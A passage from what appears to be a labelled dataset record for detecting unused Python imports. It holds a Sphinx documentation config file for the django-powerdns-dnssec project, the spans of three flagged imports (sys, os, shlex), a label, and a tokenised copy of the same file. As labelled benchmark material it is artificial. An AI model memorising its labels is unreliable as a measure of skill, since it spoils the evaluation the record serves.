element of content.opf.\n#epub_guide = ()\n\n# HTML files that should be inserted before the pages created by sphinx.\n# The format is a list of tuples containing the path and title.\n#epub_pre_files = []\n\n# HTML files shat should be inserted after the pages created by sphinx.\n# The format is a list of tuples containing the path and title.\n#epub_post_files = []\n\n# A list of files that should not be packed into the epub file.\nepub_exclude_files = ['search.html']\n\n# The depth of the table of contents in toc.ncx.\n#epub_tocdepth = 3\n\n# Allow duplicate toc entries.\n#epub_tocdup = True\n\n# Choose between 'default' and 'includehidden'.\n#epub_tocscope = 'default'\n\n# Fix unsupported image types using the Pillow.\n#epub_fix_images = False\n\n# Scale large images.\n#epub_max_image_width = 0\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#epub_show_urls = 'inline'\n\n# If false, no index is generated.\n#epub_use_index = True\n\n\n# Example configuration for intersphinx: refer to the Python standard library.\nintersphinx_mapping = {'https://docs.python.org/': None}\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sys", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 10 }, { "span": "import os", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 9 }, { "span": "import shlex", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 12 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python", "3_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "django", "-", "power", "dns", "-", "dns", "sec", " ", "documentation", " ", "build", " ", "configura", "tion", " ", "file", ",", " ", "created", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sphinx", "-", "quicks", "tart", " ", "on", " ", "We", "d", " ", "Jun", " ", "1", "7", " ", "14", ":", "13", ":", "00", " ", "201", "5._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "file", " ", "is", " ", "execfile", "()", "d", " ", "with", " ", "the", " ", "current", " ", "director", "y", " ", "set", " ", "to", " ", "its_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", "ing", " ", "dir", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "not", " ", "all", " ", "possib", "le", " ", "configura", "tion", " ", "values", " ", "are", " ", "presen", "t", " ", "in", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "autogen", "erate", "d", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "configura", "tion", " ", "values", " ", "have", " ", "a", " ", "default", ";", " ", "values", " ", "tha", "t", " ", "are", " ", "commente", "d", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "serve", " ", "to", " ", "show", " ", "the", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shlex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "extensi", "ons", " ", "(", "or", " ", "module", "s", " ", "to", " ", "document", " ", "with", " ", "autod", "oc", ")", " ", "are", " ", "in", " ", "anot", "her", " ", "director", "y", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "these", " ", "director", "ies", " ", "to", " ", "sys", ".", "path", " ", "here", ".", " ", "If", " ", "the", " ", "director", "y", " ", "is", " ", "relative", " ", "to", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", " ", "root", ",", " ", "use", " ", "os", ".", "path", ".", "abs", "path", " ", "to", " ", "make", " ", "it", " ", "abs", "olute", ",", " ", "like", " ", "shown", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "path", ".", "insert", "(", "0", ",", " ", "os", ".", "path", ".", "abs", "path", "('.", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "General", " ", "configura", "tion", " ", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "your", " ", "documentation", " ", "need", "s", " ", "a", " ", "minima", "l", " ", "Sph", "inx", " ", "version", ",", " ", "state", " ", "it", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "need", "s", "\\u", "sphinx", " ", "=", " ", "'", "1.0", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "Sph", "inx", " ", "extensi", "on", " ", "module", " ", "names", " ", "here", ",", " ", "as", " ", "string", "s", ".", " ", "The", "y", " ", "can", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "extensi", "ons", " ", "comi", "ng", " ", "with", " ", "Sph", "inx", " ", "(", "named", " ", "'", "sphinx", ".", "ext", ".*", "')", " ", "or", " ", "your", " ", "custom_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ones", "._", "\\u\\u\\uNL\\u\\u\\u_", "extensions_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sphinx", ".", "ext", ".", "autod", "oc", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sphinx", ".", "ext", ".", "docte", "st", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sphinx", ".", "ext", ".", "intersphinx", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sphinx", ".", "ext", ".", "covera", "ge", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "template", "s", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "template", "s", "\\u", "path_", "=_", "[_", "'\\u", "template", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "suff", "ix", "(", "es", ")", " ", "of", " ", "source", " ", "filename", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "can", " ", "speci", "fy", " ", "multiple", " ", "suff", "ix", " ", "as", " ", "a", " ", "list", " ", "of", " ", "string", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "source", "\\u", "suff", "ix", " ", "=", " ", "['", ".", "rst", "',", " ", "'.", "md", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "suffix_", "=_", "'.", "rst", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "encoding", " ", "of", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "source", "\\u", "encoding", " ", "=", " ", "'", "utf", "-", "8", "-", "sig", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "master", " ", "toc", "tree", " ", "document", "._", "\\u\\u\\uNL\\u\\u\\u_", "master", "\\u", "doc_", "=_", "'", "index", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "General", " ", "informati", "on", " ", "abo", "ut", " ", "the", " ", "project", "._", "\\u\\u\\uNL\\u\\u\\u_", "project_", "=_", "'", "django", "-", "power", "dns", "-", "dns", "sec", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copyright_", "=_", "'", "201", "5", ",", " ", "Alle", "gro", " ", "Group", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "author_", "=_", "'", "Alle", "gro", " ", "Group", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "version", " ", "info", " ", "for", " ", "the", " ", "project", " ", "you", "'", "re", " ", "document", "ing", ",", " ", "acts", " ", "as", " ", "replace", "ment", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "|", "version", "|", " ", "and", " ", "|", "release", "|", ",", " ", "als", "o", " ", "used", " ", "in", " ", "vari", "ous", " ", "other", " ", "place", "s", " ", "through", "out", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "short", " ", "X", ".", "Y", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "'", "0.11", ".0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "full", " ", "version", ",", " ", "inclu", "ding", " ", "alpha", "/", "beta", "/", "rc", " ", "tags", "._", "\\u\\u\\uNL\\u\\u\\u_", "release_", "=_", "'", "0.11", ".0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "language", " ", "for", " ", "content", " ", "autogen", "erate", "d", " ", "by", " ", "Sph", "inx", ".", " ", "Refer", " ", "to", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "a", " ", "list", " ", "of", " ", "support", "ed", " ", "language", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "als", "o", " ", "used", " ", "if", " ", "you", " ", "do", " ", "content", " ", "translatio", "n", " ", "via", " ", "gettext", " ", "catalogs", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "ual", "ly", " ", "you", " ", "set", " ", "\"", "language", "\"", " ", "from", " ", "the", " ", "command", " ", "line", " ", "for", " ", "these", " ", "case", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "language_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "are", " ", "two", " ", "options", " ", "for", " ", "repla", "cing", " ", "|", "toda", "y", "|", ":", " ", "eit", "her", ",", " ", "you", " ", "set", " ", "toda", "y", " ", "to", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "non", "-", "fal", "se", " ", "value", ",", " ", "then", " ", "it", " ", "is", " ", "used", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Else", ",", " ", "toda", "y", "\\u", "fmt", " ", "is", " ", "used", " ", "as", " ", "the", " ", "format", " ", "for", " ", "a", " ", "strf", "time", " ", "call", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", "\\u", "fmt", " ", "=", " ", "'%", "B", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "of", " ", "pattern", "s", ",", " ", "relative", " ", "to", " ", "source", " ", "director", "y", ",", " ", "tha", "t", " ", "match", " ", "files", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "director", "ies", " ", "to", " ", "ignore", " ", "whe", "n", " ", "look", "ing", " ", "for", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "exclu", "de", "\\u", "patterns_", "=_", "[_", "'\\u", "build", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "re", "ST", " ", "default", " ", "role", " ", "(", "used", " ", "for", " ", "this", " ", "markup", ":", " ", "`", "text", "`)", " ", "to", " ", "use", " ", "for", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "default", "\\u", "role", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "'(", ")'", " ", "will", " ", "be", " ", "append", "ed", " ", "to", " ", ":", "func", ":", " ", "etc", ".", " ", "cross", "-", "reference", " ", "text", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "function", "\\u", "parenthes", "es", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "current", " ", "module", " ", "name", " ", "will", " ", "be", " ", "prepend", "ed", " ", "to", " ", "all", " ", "description_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unit", " ", "titles", " ", "(", "suc", "h", " ", "as", " ", "..", " ", "function", "::", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "module", "\\u", "names", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "section", "author", " ", "and", " ", "module", "author", " ", "directive", "s", " ", "will", " ", "be", " ", "shown", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ".", " ", "The", "y", " ", "are", " ", "ignore", "d", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "show", "\\u", "author", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "the", " ", "Pyg", "ment", "s", " ", "(", "synta", "x", " ", "highlight", "ing", ")", " ", "style", " ", "to", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "pyg", "ment", "s", "\\u", "style_", "=_", "'", "sphinx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "list", " ", "of", " ", "ignore", "d", " ", "prefix", "es", " ", "for", " ", "module", " ", "index", " ", "sorting", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "modi", "nde", "x", "\\u", "common", "\\u", "prefix", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "keep", " ", "warn", "ings", " ", "as", " ", "\"", "system", " ", "message", "\"", " ", "paragraph", "s", " ", "in", " ", "the", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "keep", "\\u", "warn", "ings", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "`", "todo", "`", " ", "and", " ", "`", "todo", "List", "`", " ", "produce", " ", "output", ",", " ", "else", " ", "the", "y", " ", "produce", " ", "not", "hing", "._", "\\u\\u\\uNL\\u\\u\\u_", "todo", "\\u", "include", "\\u", "todos_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "HTM", "L", " ", "output", " ", "--------------", "--------------", "--------------", "----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "them", "e", " ", "to", " ", "use", " ", "for", " ", "HTM", "L", " ", "and", " ", "HTM", "L", " ", "Help", " ", "page", "s", ".", " ", " ", "See", " ", "the", " ", "documentation", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "list", " ", "of", " ", "bui", "lti", "n", " ", "themes", "._", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "theme_", "=_", "'", "natur", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Them", "e", " ", "options", " ", "are", " ", "them", "e-", "specific", " ", "and", " ", "customize", " ", "the", " ", "look", " ", "and", " ", "feel", " ", "of", " ", "a", " ", "theme_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "ther", ".", " ", " ", "For", " ", "a", " ", "list", " ", "of", " ", "options", " ", "avail", "able", " ", "for", " ", "each", " ", "them", "e", ",", " ", "see", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "options", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "themes", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "them", "e\\u", "path", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "for", " ", "this", " ", "set", " ", "of", " ", "Sph", "inx", " ", "document", "s", ".", " ", " ", "If", " ", "Non", "e", ",", " ", "it", " ", "default", "s", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"<", "project", ">", " ", "v", "<", "release", ">", " ", "documentation", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "shorter", " ", "title", " ", "for", " ", "the", " ", "navigation", " ", "bar", ".", " ", " ", "Default", " ", "is", " ", "the", " ", "same", " ", "as", " ", "html", "\\u", "title", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "short", "\\u", "title", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "the", " ", "sidebar", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "within", " ", "the", " ", "static", " ", "path", ")", " ", "to", " ", "use", " ", "as", " ", "fav", "icon", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "docs", ".", " ", " ", "Thi", "s", " ", "file", " ", "shou", "ld", " ", "be", " ", "a", " ", "Window", "s", " ", "icon", " ", "file", " ", "(.", "ico", ")", " ", "bei", "ng", " ", "16", "x1", "6", " ", "or", " ", "32", "x3", "2_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pixel", "s", " ", "large", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "fav", "icon", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "static", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "style", " ", "sheet", "s", ")", " ", "here", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "y", " ", "are", " ", "copie", "d", " ", "after", " ", "the", " ", "bui", "lti", "n", " ", "static", " ", "files", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "a", " ", "file", " ", "named", " ", "\"", "default", ".", "css", "\"", " ", "will", " ", "overwrit", "e", " ", "the", " ", "bui", "lti", "n", " ", "\"", "default", ".", "css", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "html", "\\u", "static", "\\u", "path_", "=_", "[_", "'\\u", "static", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "extra", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "custom", " ", "files", " ", "(", "suc", "h", " ", "as", " ", "robots", ".", "txt", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", ".", "hta", "ccess", ")", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", ".", " ", "The", "se", " ", "files", " ", "are", " ", "copied_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "direct", "ly", " ", "to", " ", "the", " ", "root", " ", "of", " ", "the", " ", "documentation", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "extra", "\\u", "path", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "not", " ", "''", ",", " ", "a", " ", "'", "Las", "t", " ", "update", "d", " ", "on", ":'", " ", "timestamp", " ", "is", " ", "inserted", " ", "at", " ", "every", " ", "page", " ", "bottom", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "usi", "ng", " ", "the", " ", "give", "n", " ", "strf", "time", " ", "format", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "last", "\\u", "update", "d\\u", "fmt", " ", "=", " ", "'%", "b", " ", "%", "d", ",", " ", "%", "Y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "Sma", "rty", "Pant", "s", " ", "will", " ", "be", " ", "used", " ", "to", " ", "convert", " ", "quote", "s", " ", "and", " ", "dashes", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "typo", "graphical", "ly", " ", "correct", " ", "entit", "ies", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "smart", "ypa", "nts", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Custom", " ", "sidebar", " ", "template", "s", ",", " ", "maps", " ", "document", " ", "names", " ", "to", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "sidebar", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "template", "s", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "render", "ed", " ", "to", " ", "page", "s", ",", " ", "maps", " ", "page", " ", "names", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "template", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "addition", "al", "\\u", "page", "s", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "index", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "the", " ", "index", " ", "is", " ", "split", " ", "int", "o", " ", "individual", " ", "page", "s", " ", "for", " ", "each", " ", "letter", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "split", "\\u", "index", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "link", "s", " ", "to", " ", "the", " ", "re", "ST", " ", "source", "s", " ", "are", " ", "adde", "d", " ", "to", " ", "the", " ", "page", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "source", "link", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"", "Creat", "ed", " ", "usi", "ng", " ", "Sph", "inx", "\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "sphinx", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "\"(", "C", ")", " ", "Copy", "right", " ", "...\"", " ", "is", " ", "shown", " ", "in", " ", "the", " ", "HTM", "L", " ", "footer", ".", " ", "Default", " ", "is", " ", "Tru", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "show", "\\u", "copyr", "ight", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "an", " ", "Open", "Sear", "ch", " ", "description", " ", "file", " ", "will", " ", "be", " ", "output", ",", " ", "and", " ", "all", " ", "page", "s", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", " ", "a", " ", "<", "link", ">", " ", "tag", " ", "refer", "ring", " ", "to", " ", "it", ".", " ", " ", "The", " ", "value", " ", "of", " ", "this", " ", "option", " ", "must", " ", "be", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "base", " ", "URL", " ", "from", " ", "whi", "ch", " ", "the", " ", "finish", "ed", " ", "HTM", "L", " ", "is", " ", "serve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "use", "\\u", "opens", "ear", "ch", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "the", " ", "file", " ", "name", " ", "suff", "ix", " ", "for", " ", "HTM", "L", " ", "files", " ", "(", "e", ".", "g", ".", " ", "\".", "xh", "tml", "\")", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "file", "\\u", "suff", "ix", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Lang", "ua", "ge", " ", "to", " ", "be", " ", "used", " ", "for", " ", "generat", "ing", " ", "the", " ", "HTM", "L", " ", "full", "-", "text", " ", "search", " ", "index", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sph", "inx", " ", "support", "s", " ", "the", " ", "follow", "ing", " ", "language", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "da", "',", " ", "'", "de", "',", " ", "'", "en", "',", " ", "'", "es", "',", " ", "'", "fi", "',", " ", "'", "fr", "',", " ", "'", "h", "',", " ", "'", "it", "',", " ", "'", "ja", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "nl", "',", " ", "'", "no", "',", " ", "'", "pt", "',", " ", "'", "ro", "',", " ", "'", "r", "',", " ", "'", "sv", "',", " ", "'", "tr", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "language", " ", "=", " ", "'", "en", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "dictionar", "y", " ", "with", " ", "options", " ", "for", " ", "the", " ", "search", " ", "language", " ", "support", ",", " ", "empty", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "only", " ", "'", "ja", "'", " ", "use", "s", " ", "this", " ", "config", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", "\\u", "options", " ", "=", " ", "{", "'", "type", "':", " ", "'", "default", "'}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "a", " ", "javascript", " ", "file", " ", "(", "relative", " ", "to", " ", "the", " ", "configura", "tion", " ", "director", "y", ")", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "implement", "s", " ", "a", " ", "search", " ", "results", " ", "scorer", ".", " ", "If", " ", "empty", ",", " ", "the", " ", "default", " ", "will", " ", "be", " ", "used", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "html", "\\u", "search", 